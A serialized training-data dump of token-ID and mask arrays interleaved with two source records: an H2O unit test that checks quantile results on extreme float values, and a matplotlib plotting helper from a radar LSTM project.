12, 378, 2788, 403, 12, 12228, 272, 1323, 275, 1323, 1182, 980, 14, 1516, 8, 56, 12, 378, 2788, 403, 12, 12228, 339, 302, 12, 299, 275, 1323, 14, 1392, 272, 16865, 275, 980, 14, 4250, 8, 80, 9, 272, 16865, 1491, 83, 61, 275, 980, 14, 11649, 8, 4653, 59, 16, 467, 4673, 59, 17, 467, 308, 9, 272, 980, 14, 2355, 14, 11777, 8, 17167, 9, 272, 16865, 12257, 980, 14, 5079, 8, 78, 9, 272, 16865, 9000, 10819, 339, 612, 275, 1323, 14, 3287, 8, 17167, 9, 435, 10819, 627, 980, 14, 2355, 14, 6807, 63, 3302, 8, 78, 9, 339, 1323, 10051, 275, 1323, 14, 52, 14, 3287, 8, 56, 9, 272, 1323, 10051, 73, 275, 980, 14, 10096, 14, 5350, 8, 56, 10051, 9, 272, 23185, 275, 612, 446, 1323, 14, 3287, 8, 56, 10051, 73, 14, 3287, 8, 56, 14, 52, 14, 3287, 8, 89, 1724, 272, 2153, 529, 438, 275, 980, 14, 10096, 14, 4791, 8, 19581, 6422, 18, 1182, 334, 78, 13, 80, 9, 2079, 272, 428, 275, 1323, 14, 52, 14, 3287, 8, 89, 9, 272, 13786, 51, 275, 2153, 529, 438, 627, 1323, 14, 52, 14, 3287, 8, 56, 9, 272, 870, 8, 2297, 529, 438, 12, 10819, 538, 18, 9, 272, 26518, 63, 22934, 275, 3715, 63, 22934, 8, 56, 627, 612, 3981, 488, 467, 13786, 51, 9, 339, 347, 3404, 63, 8833, 8, 56, 12, 1323, 10051, 73, 12, 23185, 12, 25906, 304, 398, 428, 275, 25906, 8, 3467, 29, 16, 14, 21, 9, 327, 25286, 543, 4666, 29, 16, 267, 612, 1222, 275, 1323, 14, 3287, 8, 56, 10051, 73, 680, 3287, 8, 51, 9, 435, 23185, 327, 911, 506, 4112, 367, 302, 30, 80, 436, 2222, 13, 271, 2268, 1323, 267, 598, 275, 634, 15923, 63, 3528, 77, 846, 8, 56, 12, 612, 1222, 12, 627, 59, 403, 3672, 20, 9, 267, 3504, 275, 598, 14, 2416, 8, 5176, 29, 5176, 9, 267, 372, 663, 8, 513, 8, 2416, 59, 16, 2459, 339, 7267, 63, 8833, 275, 9143, 14, 6672, 8, 2024, 63, 8833, 12, 1323, 12, 1323, 10051, 73, 12, 23185, 9, 339, 327, 1255, 7267, 5563, 339, 4051, 275, 2615, 63, 1238, 63, 20580, 8, 56, 12, 2892, 612, 12, 2892, 16865, 12, 2892, 7267, 63, 8833, 12, 2892, 26518, 63, 22934, 12, 2892, 3182, 63, 1162, 2687, 22, 12, 1616, 395, 2892, 699, 29, 34, 12, 2892, 5542, 63, 17210, 29, 8811, 63, 3269, 12, 2892, 5542, 63, 589, 3713, 13161, 356, 709, 12, 283, 7723, 15211, 1960, 3672, 21, 12, 283, 17953, 356, 16, 2020, 283, 12312, 5242, 12833, 3071, 339, 372, 4051, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 5020, 992, 14, 1246, 465, 4383, 272, 492, 8027, 14, 13563, 465, 4488, 272, 492, 10634, 465, 6454, 339, 738, 275, 980, 14, 11649, 8, 16, 12, 413, 12, 14313, 9, 272, 4488, 14, 9694, 342, 339, 4205, 63, 5176, 275, 980, 14, 70, 2101, 8, 1590, 14, 2355, 14, 6807, 63, 3302, 342, 627, 6891, 9, 272, 367, 284, 315, 1425, 8, 5783, 304, 267, 4051, 275, 20577, 8, 5176, 29, 826, 63, 5176, 11, 73, 9, 267, 7392, 493, 275, 283, 40, 6882, 63, 270, 3616, 63, 12847, 63, 32623, 14, 4737, 7, 267, 734, 1095, 275, 7392, 493, 4439, 20, 61, 398, 340, 4051, 365, 440, 488, 503, 284, 690, 378, 26, 953, 862, 26, 355, 4051, 275, 6454, 14, 9419, 779, 1587, 12, 6454, 14, 739, 63, 4737, 8, 4737, 493, 3948, 288, 871, 3814, 10870, 26, 355, 986, 953, 340, 4051, 365, 440, 488, 26, 355, 4051, 14, 475, 63, 4737, 8, 4737, 493, 12, 1478, 29, 797, 9, 2234, 340, 822, 8, 1587, 459, 21558, 1105, 690, 378, 26, 490, 22292, 63, 1219, 12, 17464, 63, 1219, 275, 22292, 63, 2798, 8, 1587, 12, 734, 1095, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
eg-zhang/h2o-2
py/testdir_single_jvm/test_exec2_quantile_bin_defeat.py
9
3584
import unittest, random, sys, time sys.path.extend(['.','..','../..','py']) import h2o, h2o_browse as h2b, h2o_exec as h2e, h2o_import as h2i, h2o_cmd import h2o_print as h2p, h2o_summ # quantile lists of 10, 100) exprList = [] QUANTILE = 0.25 print "stress the 1000 fixed binning based on (max-min)/1000" a = [ -1.0000002e10, -1.0000001e10, -1.0000000e10, -1.0000002e9, -1.0000001e9, -1.0000000e9, -1.0000002e6, -1.0000001e6, -1.0000000e6, -1.0000002e3, -1.0000001e3, -1.0000000e3, -1.0, 0.0000000, 1.0, 1.0000002e3, 1.0000001e3, 1.0000000e3, 1.0000002e6, 1.0000001e6, 1.0000000e6, 1.0000002e9, 1.0000001e9, 1.0000000e9, 1.0000002e10, 1.0000001e10, 1.0000000e10 ] initList = [ "ddd = c(%s)" % ",".join(map(str,a)) ] # get expected result a.sort() expectedP = h2o_summ.percentileOnSortedList(a, QUANTILE, interpolate='linear') print "expectedP:", expectedP h2p.blue_print("sort result, expectedP:", expectedP) exprList = [ ("abc = quantile(ddd[,1], c(%s))" % QUANTILE, 1), ] class Basic(unittest.TestCase): def tearDown(self): h2o.check_sandbox_for_errors() @classmethod def setUpClass(cls): global SEED SEED = h2o.setup_random_seed() h2o.init(1, java_heap_GB=1) @classmethod def tearDownClass(cls): h2o.tear_down_cloud() def test_exec2_quantile_na_scalar(self): for execExpr in initList: h2e.exec_expr(h2o.nodes[0], execExpr, resultKey=None, timeoutSecs=180) for (execExpr, num) in exprList: start = time.time() resultExec, result = h2e.exec_expr(h2o.nodes[0], execExpr, resultKey=None, timeoutSecs=180) print 'exec end took', time.time() - start, 'seconds' h2p.blue_print("h2o exec quantiles result:", result) self.assertEqual(result, expectedP, msg="Checking exec quantiles median, expectedP: %s result: %s" % (expectedP, result)) print h2o.dump_json(resultExec) # do the quantiles page on the created key kwargs = { 'column': 0, 'quantile': QUANTILE, 'multiple_pass': 2, 'max_qbins': 1000, } q = h2o.nodes[0].quantiles(source_key='ddd', **kwargs) qresult = q['result'] qresult_single = q['result_single'] qresult_iterations = q['iterations'] qresult_interpolated = q['interpolated'] h2p.blue_print("h2o quantiles result:", qresult) h2p.blue_print("h2o quantiles result_single:", qresult_single) h2p.blue_print("h2o quantiles iterations:", qresult_iterations) h2p.blue_print("h2o quantiles interpolated:", qresult_interpolated) print h2o.dump_json(q) self.assertEqual(qresult_iterations, 3, msg="should take 3 iterations") # self.assertEqual(qresult_interpolated, True, msg="Should say it's interpolating") self.assertEqual(qresult, expectedP, msg="Checking quantilespage median, expectedP: %s result: %s" % (expectedP, qresult)) inspect = h2o_cmd.runInspect(key='abc') numCols = inspect['numCols'] numRows = inspect['numRows'] print "numCols:", numCols print "numRows:", numRows self.assertEqual(numCols, 1) self.assertEqual(numRows, num) h2o.check_sandbox_for_errors() if __name__ == '__main__': h2o.unit_main()
apache-2.0
[ 646, 2882, 12, 2196, 12, 984, 12, 900, 199, 1274, 14, 515, 14, 2880, 2941, 14, 1673, 703, 1673, 5093, 703, 1673, 647, 1105, 199, 646, 394, 18, 79, 12, 394, 18, 79, 63, 4570, 465, 394, 18, 66, 12, 394, 18, 79, 63, 1628, 465, 394, 18, 69, 12, 394, 18, 79, 63, 646, 465, 394, 18, 73, 12, 394, 18, 79, 63, 1760, 199, 646, 394, 18, 79, 63, 1361, 465, 394, 18, 80, 12, 394, 18, 79, 63, 1838, 77, 199, 199, 3, 31975, 5548, 402, 1616, 12, 2948, 9, 199, 3684, 1296, 275, 942, 199, 199, 2328, 1441, 8453, 275, 378, 14, 821, 199, 1361, 298, 29530, 314, 5198, 6317, 2517, 1835, 4079, 641, 334, 988, 13, 827, 2447, 5279, 2, 199, 65, 275, 359, 272, 446, 17, 14, 3273, 18, 69, 709, 12, 272, 446, 17, 14, 3273, 17, 69, 709, 12, 272, 446, 17, 14, 9084, 69, 709, 12, 272, 446, 17, 14, 3273, 18, 69, 25, 12, 272, 446, 17, 14, 3273, 17, 69, 25, 12, 272, 446, 17, 14, 9084, 69, 25, 12, 272, 446, 17, 14, 3273, 18, 69, 22, 12, 272, 446, 17, 14, 3273, 17, 69, 22, 12, 272, 446, 17, 14, 9084, 69, 22, 12, 272, 446, 17, 14, 3273, 18, 69, 19, 12, 272, 446, 17, 14, 3273, 17, 69, 19, 12, 272, 446, 17, 14, 9084, 69, 19, 12, 272, 446, 17, 14, 16, 12, 1362, 378, 14, 9084, 12, 1362, 413, 14, 16, 12, 272, 413, 14, 3273, 18, 69, 19, 12, 272, 413, 14, 3273, 17, 69, 19, 12, 272, 413, 14, 9084, 69, 19, 12, 272, 413, 14, 3273, 18, 69, 22, 12, 272, 413, 14, 3273, 17, 69, 22, 12, 272, 413, 14, 9084, 69, 22, 12, 272, 413, 14, 3273, 18, 69, 25, 12, 272, 413, 14, 3273, 17, 69, 25, 12, 272, 413, 14, 9084, 69, 25, 12, 272, 413, 14, 3273, 18, 69, 709, 12, 272, 413, 14, 3273, 17, 69, 709, 12, 272, 413, 14, 9084, 69, 709, 199, 61, 199, 199, 826, 1296, 275, 359, 272, 298, 15389, 275, 286, 4042, 83, 2924, 450, 19089, 904, 8, 1130, 8, 495, 12, 65, 430, 199, 61, 199, 199, 3, 664, 1420, 754, 199, 65, 14, 3191, 342, 199, 2062, 48, 275, 394, 18, 79, 63, 1838, 77, 14, 21188, 3314, 22861, 1296, 8, 65, 12, 7813, 1441, 8453, 12, 28884, 534, 6676, 358, 199, 1361, 298, 2062, 48, 6783, 1420, 48, 199, 72, 18, 80, 14, 6304, 63, 1361, 480, 3191, 754, 12, 1420, 48, 6783, 1420, 48, 9, 199, 199, 3684, 1296, 275, 359, 272, 1689, 3175, 275, 31975, 8, 15389, 14675, 17, 467, 286, 4042, 83, 430, 2, 450, 7813, 1441, 8453, 12, 413, 395, 199, 61, 199, 199, 533, 10082, 8, 2796, 14, 1746, 304, 272, 347, 6766, 8, 277, 304, 267, 394, 18, 79, 14, 1074, 63, 16647, 63, 509, 63, 2550, 342, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 2288, 5795, 1149, 267, 5795, 1149, 275, 394, 18, 79, 14, 2758, 63, 2355, 63, 5176, 342, 267, 394, 18, 79, 14, 826, 8, 17, 12, 12120, 63, 12492, 63, 6487, 29, 17, 9, 339, 768, 3744, 272, 347, 24468, 8, 1886, 304, 267, 394, 18, 79, 14, 266, 285, 63, 2110, 63, 4091, 342, 339, 347, 511, 63, 1628, 18, 63, 29249, 63, 3540, 63, 7033, 8, 277, 304, 267, 367, 2146, 8561, 315, 4205, 1296, 26, 288, 394, 18, 69, 14, 1628, 63, 3684, 8, 72, 18, 79, 14, 2415, 59, 16, 467, 2146, 8561, 12, 754, 1197, 29, 403, 12, 2653, 29224, 29, 7663, 9, 398, 367, 334, 1628, 8561, 12, 1967, 9, 315, 5348, 1296, 26, 288, 1343, 275, 900, 14, 521, 342, 288, 754, 4858, 12, 754, 275, 394, 18, 69, 14, 1628, 63, 3684, 8, 72, 18, 79, 14, 2415, 59, 16, 467, 2146, 8561, 12, 754, 1197, 29, 403, 12, 2653, 29224, 29, 7663, 9, 288, 870, 283, 1628, 1284, 27221, 297, 900, 14, 521, 342, 446, 1343, 12, 283, 4515, 7, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 2146, 13621, 2978, 754, 6783, 754, 9, 288, 291, 14, 629, 8, 1099, 12, 1420, 48, 12, 1499, 628, 14740, 2146, 13621, 2978, 17312, 12, 1420, 48, 26, 450, 83, 754, 26, 450, 83, 2, 450, 334, 2062, 48, 12, 754, 430, 288, 870, 394, 18, 79, 14, 2724, 63, 1001, 8, 1099, 4858, 9, 288, 327, 886, 314, 13621, 2978, 2034, 641, 314, 2737, 790, 288, 2074, 275, 469, 355, 283, 2301, 356, 378, 12, 355, 283, 29249, 356, 7813, 1441, 8453, 12, 355, 283, 6048, 63, 1529, 356, 499, 12, 355, 283, 988, 63, 81, 11329, 356, 5198, 12, 288, 789, 288, 1894, 275, 394, 18, 79, 14, 2415, 59, 16, 1055, 12316, 2978, 8, 1365, 63, 498, 534, 15389, 297, 1011, 958, 9, 288, 1894, 1099, 275, 1894, 459, 1099, 418, 288, 1894, 1099, 63, 4780, 275, 1894, 459, 1099, 63, 4780, 418, 288, 1894, 1099, 63, 13570, 275, 1894, 459, 13570, 418, 288, 1894, 1099, 63, 29690, 972, 275, 1894, 459, 29690, 972, 418, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 754, 6783, 1894, 1099, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 754, 63, 4780, 6783, 1894, 1099, 63, 4780, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 10615, 6783, 1894, 1099, 63, 13570, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 23005, 972, 6783, 1894, 1099, 63, 29690, 972, 9, 288, 870, 394, 18, 79, 14, 2724, 63, 1001, 8, 81, 9, 953, 291, 14, 629, 8, 81, 1099, 63, 13570, 12, 650, 12, 1499, 628, 5626, 5452, 650, 10615, 531, 953, 327, 291, 14, 629, 8, 81, 1099, 63, 29690, 972, 12, 715, 12, 1499, 628, 11408, 14722, 652, 1159, 23005, 1958, 531, 7846, 291, 14, 629, 8, 81, 1099, 12, 1420, 48, 12, 1499, 628, 14740, 13621, 2978, 1606, 17312, 12, 1420, 48, 26, 450, 83, 754, 26 ]
[ 2882, 12, 2196, 12, 984, 12, 900, 199, 1274, 14, 515, 14, 2880, 2941, 14, 1673, 703, 1673, 5093, 703, 1673, 647, 1105, 199, 646, 394, 18, 79, 12, 394, 18, 79, 63, 4570, 465, 394, 18, 66, 12, 394, 18, 79, 63, 1628, 465, 394, 18, 69, 12, 394, 18, 79, 63, 646, 465, 394, 18, 73, 12, 394, 18, 79, 63, 1760, 199, 646, 394, 18, 79, 63, 1361, 465, 394, 18, 80, 12, 394, 18, 79, 63, 1838, 77, 199, 199, 3, 31975, 5548, 402, 1616, 12, 2948, 9, 199, 3684, 1296, 275, 942, 199, 199, 2328, 1441, 8453, 275, 378, 14, 821, 199, 1361, 298, 29530, 314, 5198, 6317, 2517, 1835, 4079, 641, 334, 988, 13, 827, 2447, 5279, 2, 199, 65, 275, 359, 272, 446, 17, 14, 3273, 18, 69, 709, 12, 272, 446, 17, 14, 3273, 17, 69, 709, 12, 272, 446, 17, 14, 9084, 69, 709, 12, 272, 446, 17, 14, 3273, 18, 69, 25, 12, 272, 446, 17, 14, 3273, 17, 69, 25, 12, 272, 446, 17, 14, 9084, 69, 25, 12, 272, 446, 17, 14, 3273, 18, 69, 22, 12, 272, 446, 17, 14, 3273, 17, 69, 22, 12, 272, 446, 17, 14, 9084, 69, 22, 12, 272, 446, 17, 14, 3273, 18, 69, 19, 12, 272, 446, 17, 14, 3273, 17, 69, 19, 12, 272, 446, 17, 14, 9084, 69, 19, 12, 272, 446, 17, 14, 16, 12, 1362, 378, 14, 9084, 12, 1362, 413, 14, 16, 12, 272, 413, 14, 3273, 18, 69, 19, 12, 272, 413, 14, 3273, 17, 69, 19, 12, 272, 413, 14, 9084, 69, 19, 12, 272, 413, 14, 3273, 18, 69, 22, 12, 272, 413, 14, 3273, 17, 69, 22, 12, 272, 413, 14, 9084, 69, 22, 12, 272, 413, 14, 3273, 18, 69, 25, 12, 272, 413, 14, 3273, 17, 69, 25, 12, 272, 413, 14, 9084, 69, 25, 12, 272, 413, 14, 3273, 18, 69, 709, 12, 272, 413, 14, 3273, 17, 69, 709, 12, 272, 413, 14, 9084, 69, 709, 199, 61, 199, 199, 826, 1296, 275, 359, 272, 298, 15389, 275, 286, 4042, 83, 2924, 450, 19089, 904, 8, 1130, 8, 495, 12, 65, 430, 199, 61, 199, 199, 3, 664, 1420, 754, 199, 65, 14, 3191, 342, 199, 2062, 48, 275, 394, 18, 79, 63, 1838, 77, 14, 21188, 3314, 22861, 1296, 8, 65, 12, 7813, 1441, 8453, 12, 28884, 534, 6676, 358, 199, 1361, 298, 2062, 48, 6783, 1420, 48, 199, 72, 18, 80, 14, 6304, 63, 1361, 480, 3191, 754, 12, 1420, 48, 6783, 1420, 48, 9, 199, 199, 3684, 1296, 275, 359, 272, 1689, 3175, 275, 31975, 8, 15389, 14675, 17, 467, 286, 4042, 83, 430, 2, 450, 7813, 1441, 8453, 12, 413, 395, 199, 61, 199, 199, 533, 10082, 8, 2796, 14, 1746, 304, 272, 347, 6766, 8, 277, 304, 267, 394, 18, 79, 14, 1074, 63, 16647, 63, 509, 63, 2550, 342, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 2288, 5795, 1149, 267, 5795, 1149, 275, 394, 18, 79, 14, 2758, 63, 2355, 63, 5176, 342, 267, 394, 18, 79, 14, 826, 8, 17, 12, 12120, 63, 12492, 63, 6487, 29, 17, 9, 339, 768, 3744, 272, 347, 24468, 8, 1886, 304, 267, 394, 18, 79, 14, 266, 285, 63, 2110, 63, 4091, 342, 339, 347, 511, 63, 1628, 18, 63, 29249, 63, 3540, 63, 7033, 8, 277, 304, 267, 367, 2146, 8561, 315, 4205, 1296, 26, 288, 394, 18, 69, 14, 1628, 63, 3684, 8, 72, 18, 79, 14, 2415, 59, 16, 467, 2146, 8561, 12, 754, 1197, 29, 403, 12, 2653, 29224, 29, 7663, 9, 398, 367, 334, 1628, 8561, 12, 1967, 9, 315, 5348, 1296, 26, 288, 1343, 275, 900, 14, 521, 342, 288, 754, 4858, 12, 754, 275, 394, 18, 69, 14, 1628, 63, 3684, 8, 72, 18, 79, 14, 2415, 59, 16, 467, 2146, 8561, 12, 754, 1197, 29, 403, 12, 2653, 29224, 29, 7663, 9, 288, 870, 283, 1628, 1284, 27221, 297, 900, 14, 521, 342, 446, 1343, 12, 283, 4515, 7, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 2146, 13621, 2978, 754, 6783, 754, 9, 288, 291, 14, 629, 8, 1099, 12, 1420, 48, 12, 1499, 628, 14740, 2146, 13621, 2978, 17312, 12, 1420, 48, 26, 450, 83, 754, 26, 450, 83, 2, 450, 334, 2062, 48, 12, 754, 430, 288, 870, 394, 18, 79, 14, 2724, 63, 1001, 8, 1099, 4858, 9, 288, 327, 886, 314, 13621, 2978, 2034, 641, 314, 2737, 790, 288, 2074, 275, 469, 355, 283, 2301, 356, 378, 12, 355, 283, 29249, 356, 7813, 1441, 8453, 12, 355, 283, 6048, 63, 1529, 356, 499, 12, 355, 283, 988, 63, 81, 11329, 356, 5198, 12, 288, 789, 288, 1894, 275, 394, 18, 79, 14, 2415, 59, 16, 1055, 12316, 2978, 8, 1365, 63, 498, 534, 15389, 297, 1011, 958, 9, 288, 1894, 1099, 275, 1894, 459, 1099, 418, 288, 1894, 1099, 63, 4780, 275, 1894, 459, 1099, 63, 4780, 418, 288, 1894, 1099, 63, 13570, 275, 1894, 459, 13570, 418, 288, 1894, 1099, 63, 29690, 972, 275, 1894, 459, 29690, 972, 418, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 754, 6783, 1894, 1099, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 754, 63, 4780, 6783, 1894, 1099, 63, 4780, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 10615, 6783, 1894, 1099, 63, 13570, 9, 288, 394, 18, 80, 14, 6304, 63, 1361, 480, 72, 18, 79, 13621, 2978, 23005, 972, 6783, 1894, 1099, 63, 29690, 972, 9, 288, 870, 394, 18, 79, 14, 2724, 63, 1001, 8, 81, 9, 953, 291, 14, 629, 8, 81, 1099, 63, 13570, 12, 650, 12, 1499, 628, 5626, 5452, 650, 10615, 531, 953, 327, 291, 14, 629, 8, 81, 1099, 63, 29690, 972, 12, 715, 12, 1499, 628, 11408, 14722, 652, 1159, 23005, 1958, 531, 7846, 291, 14, 629, 8, 81, 1099, 12, 1420, 48, 12, 1499, 628, 14740, 13621, 2978, 1606, 17312, 12, 1420, 48, 26, 450, 83, 754, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
evanthebouncy/nnhmm
radar_lstm/draw.py
6
2538
import numpy as np import matplotlib.pylab as plt import multiprocessing as mp from matplotlib import figure # m = [[0.0, 1.47, 2.43, 3.44, 1.08, 2.83, 1.08, 2.13, 2.11, 3.7], [1.47, 0.0, 1.5, 2.39, 2.11, 2.4, 2.11, 1.1, 1.1, 3.21], [2.43, 1.5, 0.0, 1.22, 2.69, 1.33, 3.39, 2.15, 2.12, 1.87], [3.44, 2.39, 1.22, 0.0, 3.45, 2.22, 4.34, 2.54, 3.04, 2.28], [1.08, 2.11, 2.69, 3.45, 0.0, 3.13, 1.76, 2.46, 3.02, 3.85], [2.83, 2.4, 1.33, 2.22, 3.13, 0.0, 3.83, 3.32, 2.73, 0.95], [1.08, 2.11, 3.39, 4.34, 1.76, 3.83, 0.0, 2.47, 2.44, 4.74], [2.13, 1.1, 2.15, 2.54, 2.46, 3.32, 2.47, 0.0, 1.78, 4.01], [2.11, 1.1, 2.12, 3.04, 3.02, 2.73, 2.44, 1.78, 0.0, 3.57], [3.7, 3.21, 1.87, 2.28, 3.85, 0.95, 4.74, 4.01, 3.57, 0.0]] FIG = plt.figure() def draw_coord(coord, name, lab=[1.0, 0.0]): color = 1.0 if lab[0] > lab[1] else -1.0 ret = np.zeros(shape=[20,20,1]) coord_x, coord_y = coord coord_x_idx = np.argmax(coord_x) coord_y_idx = np.argmax(coord_y) ret[coord_x_idx][coord_y_idx][0] = color draw(ret, name) def draw(m, name): FIG.clf() matrix = m orig_shape = np.shape(matrix) # lose the channel shape in the end of orig_shape new_shape = orig_shape[:-1] matrix = np.reshape(matrix, new_shape) ax = FIG.add_subplot(1,1,1) ax.set_aspect('equal') plt.imshow(matrix, interpolation='nearest', cmap=plt.cm.gray) # plt.imshow(matrix, interpolation='nearest', cmap=plt.cm.ocean) plt.colorbar() plt.savefig(name) def draw_obs(obs, name): ret_shape = [20, 20, 1] ret = np.zeros(shape=ret_shape) for ii, ob in enumerate(obs): if ob.max() > 0.0: idxx = np.unravel_index(ob.argmax(), ob.shape) if idxx[-1] == 0: ret[idxx[0]][idxx[1]] = 1.0 * ii else: ret[idxx[0]][idxx[1]] = -1.0 * ii draw(ret, name) def draw_annotate(x_cords, y_cords, anns, name): FIG.clf() y = x_cords z = y_cords n = anns fig = FIG ax = fig.add_subplot(1,1,1) ax.set_xlim([0,20]) ax.set_ylim([0,20]) ax.scatter(z, y) for i, txt in enumerate(n): ax.annotate(txt, (z[i],y[i])) fig.savefig(name) def draw_trace(trace, name): x_coords = [] y_coords = [] anno = [] for i, stuff in enumerate(trace): ob, inv = stuff # x_coords.append(inv[0]) # y_coords.append(inv[1]) # anno.append("X"+str(i)) if ob != None: ob_coord, ob_outcome = ob x_coords.append(ob_coord[0]) y_coords.append(ob_coord[1]) anno.append("O"+str(i)+str(int(ob_outcome[0]))) draw_annotate(x_coords, y_coords, anno, name)
mit
[ 646, 2680, 465, 980, 199, 646, 8027, 14, 32538, 465, 4488, 199, 646, 12866, 465, 6118, 199, 199, 504, 8027, 492, 9658, 199, 199, 3, 333, 275, 3474, 16, 14, 16, 12, 413, 14, 2417, 12, 499, 14, 2824, 12, 650, 14, 1602, 12, 413, 14, 2036, 12, 499, 14, 2658, 12, 413, 14, 2036, 12, 499, 14, 969, 12, 499, 14, 845, 12, 650, 14, 23, 467, 359, 17, 14, 2417, 12, 378, 14, 16, 12, 413, 14, 21, 12, 258, 499, 14, 1355, 12, 499, 14, 845, 12, 499, 14, 20, 12, 499, 14, 845, 12, 413, 14, 17, 12, 413, 14, 17, 12, 650, 14, 2025, 467, 359, 18, 14, 2824, 12, 413, 14, 21, 12, 378, 14, 16, 12, 413, 14, 1081, 12, 499, 14, 1876, 12, 413, 14, 1153, 12, 650, 14, 1355, 12, 499, 14, 1046, 12, 499, 14, 713, 12, 413, 14, 1555, 467, 359, 19, 14, 1602, 12, 499, 14, 1355, 12, 413, 14, 1081, 12, 378, 14, 16, 12, 650, 14, 2322, 12, 499, 14, 1081, 12, 841, 14, 1082, 12, 499, 14, 1477, 12, 650, 14, 966, 12, 499, 14, 1651, 467, 359, 17, 14, 2036, 12, 499, 14, 845, 12, 499, 14, 1876, 12, 650, 14, 2322, 12, 378, 14, 16, 12, 650, 14, 969, 12, 413, 14, 2114, 12, 499, 14, 2466, 12, 650, 14, 996, 12, 650, 14, 2426, 467, 359, 18, 14, 2658, 12, 499, 14, 20, 12, 413, 14, 1153, 12, 499, 14, 1081, 12, 650, 14, 969, 12, 378, 14, 16, 12, 650, 14, 2658, 12, 650, 14, 